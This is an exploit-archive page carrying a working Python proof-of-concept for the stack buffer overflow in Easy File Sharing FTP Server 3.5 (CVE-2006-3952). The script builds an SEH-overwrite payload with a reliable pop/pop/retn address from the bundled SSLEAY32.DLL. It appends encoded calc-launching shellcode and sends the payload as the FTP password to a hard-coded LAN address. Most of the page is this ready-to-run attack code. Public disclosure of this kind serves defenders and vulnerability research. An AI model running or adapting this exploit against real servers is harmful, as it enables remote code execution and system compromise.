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Easy File Sharing FTP Server 3.5 Buffer Overflow

Easy File Sharing FTP Server 3.5 Buffer Overflow
Posted May 30, 2014
Authored by superkojiman

Easy File Sharing FTP Server version 3.5 suffers from a stack buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2006-3952, OSVDB-27646
SHA-256 | 6d4e2b3a8ea09bda8b36163e3010795b7044177b5476f516d56a6748cda9590e

Easy File Sharing FTP Server 3.5 Buffer Overflow

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#!/usr/bin/env python
# Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow
# Date: 27 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vulnerability discovered by: h07
# CVE: CVE-2006-3952
# OSVDB: 27646
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.efssoft.com/ftpserver.htm
# Version: 3.5
# Tested on: Windows 8.1 Enterprise , English
# : Windows 7 Enterprise SP1, English
# : Windows XP SP3, English
#
# Description:
# A buffer overflow is triggered when when a large password is sent to the
# server.
#
# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original
# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a
# SEH attack. This was a bit unreliable as different versions of Windows would
# have different addresses and the exploit would need to be modified with the
# correct pop/pop/retn address.
#
# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and
# includes new features, such as SSL support. Ironically, by adding SSL
# support, they've given us a reliable pop/pop/retn address in the included
# SSLEAY32.DLL! This exploit should work reliably with any Windows release.


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A"*2559
payload += "\xeb\x19\x90\x90" # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21) # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.130", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()

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